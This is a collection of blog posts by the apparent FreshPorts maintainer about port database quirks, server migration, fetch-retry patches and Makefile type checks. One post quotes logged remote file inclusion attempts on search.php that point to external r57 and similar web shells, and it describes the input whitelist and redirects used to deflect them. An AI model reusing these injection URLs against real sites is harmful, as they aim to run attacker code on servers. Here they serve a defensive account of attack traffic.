MASTERPORT is a tool Mark Linimon and I have used for a while. It seems to have entered into common usage now.

freshports.org=# select master_port, category, name from ports_active
where master_port like '/%' order by category, name;
                  master_port                  |   category   |           name
-----------------------------------------------+--------------+---------------------------
 /usr/home/dan/ports/devel/ocaml-camlidl       | archivers    | ocaml-zip
 /usr/home/dan/ports/devel/ocaml-camlidl       | graphics     | ocaml-lablgl
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-canna
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-canna+freewnn
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-canna+freewnn+sj3
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-canna+sj3
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-canna+sj3+wnn6
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-canna+sj3+wnn7
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-canna+wnn6
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-canna+wnn7
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-freewnn+sj3
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-sj3
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-sj3+wnn6
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-sj3+wnn7
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-wnn6
 /usr/home/dan/ports/japanese/kinput2-freewnn/ | japanese     | kinput2-wnn7
 /usr/home/dan/ports/math/spooles/             | math         | spooles-mpich
 /usr/home/dan/ports/science/mpqc/             | science      | mpqc-mpich
 /usr/home/dan/ports/devel/ocaml-camlidl       | security     | ocaml-cryptgps
 /usr/home/dan/ports/x11-toolkits/fltk/        | x11-toolkits | fltk-threads
 /usr/home/dan/ports/devel/ocaml-camlidl       | x11-toolkits | ocaml-lablgtk
(21 rows)

freshports.org=#

These ports appear to set MASTERPORT within themselves. This breaks some stuff in FreshPorts.

I’m looking for work. I’m a software developer with lots of sysadmin experience. My ideal job would require multiple skills and involve development of high availability strategy, some coding, database design, and some sysadmin work, although not necessarily in that order.

My resume: http://www.freebsddiary.org/dan_langille.php

Will consider relocation.

It was quite some time ago that I [finally] moved FreshPorts onto the new server. Today I moved FreshSource over too. Both websites use the same database instance. That is, each website is a different view of the same database.

Now that FreshSource is over here, we should be able to start doing a lot of things we’ve been unable to do before now. There was no reason for the delay. It just didn’t happen.

If you’re interested in getting FreshSource “filled out”, start now. All the FreshPorts source is online.

Late last night, I wrote about a problem with virtual categories. I’ve been unable to reproduce the problem in test. But I did find the problem in production.

[dan@supernews:/usr/websites/freshports.org/scripts] $ touch ../dynamic/www.en.ports.categories
[dan@supernews:/usr/websites/freshports.org/scripts] $ sh process_www_en_ports_categories.sh
about to fetch: fetch -q -o /usr/websites/freshports.org/dynamic/caching/tmp/categories http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/www/en/ports/categories?rev=HEAD&content-type=text/plain
Can’t locate Text/CSV_XS.pm in @INC (@INC contains: /usr/local/lib/perl5/5.8.8/BSDPAN /usr/local/lib/perl5/site_perl/5.8.8/mach /usr/local/lib/perl5/site_perl/5.8.8 /usr/local/lib/perl5/site_perl /usr/local/lib/perl5/5.8.8/mach /usr/local/lib/perl5/5.8.8 .) at categories_update_descriptions.pl line 23.
BEGIN failed–compilation aborted at categories_update_descriptions.pl line 23.
[dan@supernews:/usr/websites/freshports.org/scripts] $

Well. That seems to be quite a let down. Who owns that file? Let me check test:

$ locate CSV_XS.pm
/usr/local/lib/perl5/site_perl/5.8.8/mach/Text/CSV_XS.pm
$ pkg_info -W /usr/local/lib/perl5/site_perl/5.8.8/mach/Text/CSV_XS.pm
/usr/local/lib/perl5/site_perl/5.8.8/mach/Text/CSV_XS.pm was installed by package p5-Text-CSV_XS-0.23

That means we are missing p5-Text-CSV_XS in production. That is easy enough to add in.

Done. Fixed. Let’s wait for the next commit.

BTW: I noticed that www/en/ports/categories has a few slight problems:

tcl - present, but no ports exist in this category
tk - same as above
geography - should be present, but is not
spanish - same as above

The first two issue arose with revision 1.34.

I sent in a patch for the last two issues. That in itself will be a good test of the above fix to FreshPorts.

After all I’ve written about virtual categories, it seems I still don’t have them right.

The code is there:

$ grep -l www/en/ports/categories *
process_www_en_ports_categories.sh
special_processing_files.pm

but things are still not being updated. If you look at the list of categories, sort by Description, you will find several with a description of “This is a virtual category. No description is available.”

I’ll have to find out why. The processing of each cvs-all email is logged and kept for quite some time (I have logs dating back to Nov 2006) just in case I need to review something like this. Something isn’t quite right. I’ll find out what.

Some people like to break into systems. Some like to find vulnerabilities. The good ones will tell you about the vulnerability so you can fix. Many won’t.

Then there are the script kiddies. They don’t know much. They know how to run scripts.

Lately, I’ve been seeing these requests to the FreshPorts website:

/search.php?stype=http://0x00013.50webs.org/tesgcc.txt?
/search.php?stype=http://0x0134.lan.io/pb.php?
/search.php?stype=http://0xg3458.hub.io/pb.php?
/search.php?stype=http://amygirl.3-hosting.net/cs.txt?
/search.php?stype=http://amygirl.siteburg.com/images/cs.txt?
/search.php?stype=http://amygirl.webs.io/pb.php?
/search.php?stype=http://amyru.h18.ru/images/cs.txt?
/search.php?stype=http://andravarldar.se/cmd?
/search.php?stype=http://tarcisiobr.kit.net/r57.txt?
/search.php?stype=http://users2.TitanicHost.com/ninagirl/pb.txt?
/search.php?stype=http://www.by-kaos.org/r57.txt?
/search.php?stype=http://www.etriple.com/sc/comandi/r57.txt?
/search.php?stype=http://www.evilc0der.com/r57.txt?
/search.php?stype=http://www.oxred.kit.net/bye.txt?
/search.php?stype=http://www.ss3s.org/r57.txt?
/search.php?stype=http://wwww.ypu.com/r57.txt?
/search.php?stype=http://x0.741.com/pb.txt?

What’s in these files? Something like this.

Where are they coming from? All over the place. Here is a list sorted by IP address.

As for these types of requests, I see them in the logs, I think about them. I know it’s not a problem because that particular field of the search results is well sanitized. Only certain values are accepted. If you supply a non-recognized value, you get told:

something terrible has happened!

That happens through code like this:

switch ($stype) {
   case SEARCH_FIELD_NAME:
   case SEARCH_FIELD_PACKAGE:
   case SEARCH_FIELD_LATEST_LINK:
   case SEARCH_FIELD_SHORTDESCRIPTION:
   case SEARCH_FIELD_LONGDESCRIPTION:
   case SEARCH_FIELD_DEPENDS_BUILD:
   case SEARCH_FIELD_DEPENDS_LIB:
   case SEARCH_FIELD_DEPENDS_RUN:
   case SEARCH_FIELD_DEPENDS_ALL:
   case SEARCH_FIELD_MAINTAINER:
   case SEARCH_FIELD_COMMITTER:
   case SEARCH_FIELD_PATHNAME:
   case SEARCH_FIELD_COMMITMESSAGE:
   # all is well.  we have a valid value.
      break;

   default:
      # bad value.
      # ERROR
      syslog(LOG_ERR, 'bad search string: ' . $_SERVER['QUERY_STRING']);
      die('something terrible has happened!');
}

That’s sufficient for what I needed. But now I’m getting annoyed. I’ve been redirecting the IP addresses elsewhere, but I’ve given up on that now. I had been doing something like this:

RewriteEngine On
RewriteCond %{REMOTE_ADDR} 59.56.116.171   [OR]
RewriteCond %{REMOTE_ADDR} 172.188.236.232 [OR]
RewriteCond %{REMOTE_ADDR} 202.101.107.120 [OR]
...
RewriteCond %{REMOTE_ADDR} 90.128.89.206   [OR]
RewriteCond %{REMOTE_ADDR} 82.42.160.16    [OR]
RewriteCond %{REMOTE_ADDR} 194.104.99.10
RewriteRule .* http://news.example.org/odd-way-to-break-in/ R=permanent]

This has the disadvantage of requiring manual intervention to amend the list and tapping Apache on the shoulder. It is precise in that redirects the kiddies if they try accessing http://www.freshports.org/ . I had thought of blocking the IP addresses from the entire server (all websites) by using a cronjob and a firewall rule (simliar to how I dealt with an odd DoS attack).

This morning, I decided I’d try something else. I’d redirect from within the code. Hence this patch:

if (substr($stype, 0, 7) === 'http://') {
   # redirect their ass
   header('Location: http://news.freshports.org/2007/10/02/odd-way-to-break-in/');
   exit;
}

This keeps them away from the server, and has the following advantages:

• automatic - I don’t do anything
• Produces a 301 in the logs - they don’t get anywhere near the website

So much better…

This is not good:

$ file -kb /usr/home/dan/ports/www/p5-HTTP-Size/Makefile
Apple Old Partition data block size: 20069, first type: ${PORTSDIR}/www/p5-HTML-SimpleL, name: I \, number of blocks: 1953460746,


It should read:

$ file -kb /usr/home/dan/ports/sysutils/bacula-server/Makefile
ASCII English text


Why do I care? The file in question has been fetched from the FreeBSD repository (via cvsweb). I need to ensure it’s not an HTML error file. Or more correctly, that it is an ASCII file, not an HTML file. I want to know that I’ve fetched a proper result.

I used to do this:

sub LooksLikeAMakefile($) {
    my $Makefile = shift;
    my $Result   = 1;

    my $filetype = `file -b $Makefile`;
    chomp($filetype);

    print "$filetype\n";

    if (index($filetype, 'HTML', 0) != -1) {
        print "nope, that's HTML, not a Makefile as far as I'm concerned....\n";
        $Result = 0;
    }

    return $Result;
}

That usually worked. It makes sure that HTML appears somewhere in the output of the file command. The first example above fails in this code. Here is the patch I’m going to use instead:

sub LooksLikeAMakefile($) {
    my $Makefile = shift;
    my $Result   = 1;

    my $Command = "file -b $Makefile";

    my $filetype = `$Command`;
    chomp($filetype);

    print "\n$Command gives:\n";
    print "$filetype\n\n";

    # look for HTML at the start of the file output
    my $index = index($filetype, 'HTML', 0);
    print "index result " . $index . "\n";

    if ($index == 0) {
        print "nope, that's HTML, not a Makefile as far as I'm concerned....\n";
        $Result = 0;
    }

    return $Result;
}

This code is on my development server now.

What is the difference? I’m now checking that the HTML appears at the start of the file output, not just somewhere within the output. And I’m printing a bit more debugging output.

This isn’t so much a fix for the vuxml problem mentioned previously as it is a fix for properly detecting and reporting fetch errors. The patch is pretty simple:

$ cvs di -u utilities.pm
Index: utilities.pm
===================================================================
RCS file: /home/repositories/freshports-1/scripts/utilities.pm,v
retrieving revision 1.16
diff -u -r1.16 utilities.pm
--- utilities.pm        13 Sep 2007 13:01:41 -0000      1.16
+++ utilities.pm        13 Sep 2007 13:43:33 -0000
@@ -74,9 +74,9 @@
                my $command = "sh $FreshPorts::Config::scriptpath/fetch-cvs-file.sh \
                                    $URL $SRCDIR $FILE $REVISION $SUFFIX 2>&1";
                print "about to fetch = '$command'";
                my $FetchResults = `$command`;
-               $result = $?;
-#              print "fetch result = $result\n";
-               if (($result >> 8)) {
+               my $code = $?;
+               print "fetch result = $code\n";
+               if (($code >> 8)) {
                        #
                        # This might be a nice place to retry a fetch, or send an email
                        #

It is not shown, but $result is returned by this function. It was being overwritten by the fetch command. With this change, we use $code instead of $result for the fetch, thereby ensuring that this code segment works correctly:

    my $result = 0;

    my $FetchAttempts = $FreshPorts::Config::Fetch_Retry_Limit;

    while ($FetchAttempts) {
...
    # if we succeeded in our fetch..
    if ($FetchAttempts) {
        $result = 1;
    }

    return $result;

I’ll be putting this code into production soon.

This morning portaudit told me I needed to upgrade PHP5 on a few servers. Again, I checked FreshPorts to see if a fix was in. Apparently it was. Unfortunately, it was wrong.

Checking the version of vuln.xml in the ports tree, I found:

$ grep ‘$FreeBSD’ ports/security/vuxml/vuln.xml
$FreeBSD: ports/security/vuxml/vuln.xml,v 1.1416 2007/09/11 19:40:02 remko Exp $

It should have 1.1417.

Checking the processing log of that commit, I can see that the system had trouble fetching the new vuln.txt file via cvsweb. The script tried 5 times to grab the file between 01:50:44 and 01:51:26. That’s not a long period of time.

The issue arises because cvsweb has a direct NFS mount of repoman (the main cvs repository). Thus, if a fetch by FreshPorts fails, well, I don’t know why that happens.

I have a patch that’s been sitting on my development server for a while:

$ cvs di -uN utilities.pm
Index: utilities.pm
===================================================================
RCS file: /home/repositories/freshports-1/scripts/utilities.pm,v
retrieving revision 1.15
diff -u -r1.15 utilities.pm
--- utilities.pm        27 Jun 2007 02:40:26 -0000      1.15
+++ utilities.pm        13 Sep 2007 12:21:20 -0000
@@ -68,7 +68,7 @@

   my $result = 0;

-   my $FetchAttempts = 5;
+   my $FetchAttempts = $FreshPorts::Config::Fetch_Retry_Limit;

   while ($FetchAttempts) {
      my $command = "sh $FreshPorts::Config::scriptpath/fetch-cvs-file.sh $URL $DESTDIR \
                                    $SRCDIR $FILE $REVISION $SUFFIX 2>&1";
@@ -89,7 +89,7 @@

      Sys::Syslog::syslog('warning', \
              "sleeping after fetch failed for ($DESTDIR $SRCDIR $FILE)");
      print "fetch failed, sleeping...\n";
-      sleep 10;
+     sleep $FreshPorts::Config::Fetch_Sleep_Time;
       $FetchAttempts--;

    } else {

With this patch, I can manually configure the number of fetch retries and the sleep interval between attempts. At present, I’m using this on my development server:

$ grep Fetch config.pm
$FreshPorts::Config::Fetch_Retry_Limit = 10;
$FreshPorts::Config::Fetch_Sleep_Time  = 120;

This strategy will sleep for 2 minutes after a failed fetch. It will attempt to fetch 10 times.

There is another problem here. Why did FreshPorts not error out when the fetch failed? The commit should have been marked as requiring a refresh and the processing of the security/vuxml/vuln.xml file should never have occurred. In which case, I would have noticed the unrefreshed port in the morning, and manually refreshed it, thus triggering the usual vuxml processing.

The problem did not occur on my development server (which has the above code) located in Jupiter, Florida. Nor did it occur on the BETA server in New York City. This may have been a local network issue affecting only the production server (in San Jose).

I’ll move the above patch into production and see if the problem occurs again. I’ll also do some more testing to make sure a port is marked as refresh needed if a fetch failure occurs.

After my overnight security report audit came in, I noticed that Apache needed to be upgraded. I went to FreshPorts to see if a fix had been committed. While there, I noticed a lack of vuxml skulls against the latest versions of Apache. Checking the BETA website, I saw it was correctly marked. More digging found the problem. In the process, I improved some error reporting in the scripts so that this problem should be brought to my attention much sooner.

Things should be back to normal now.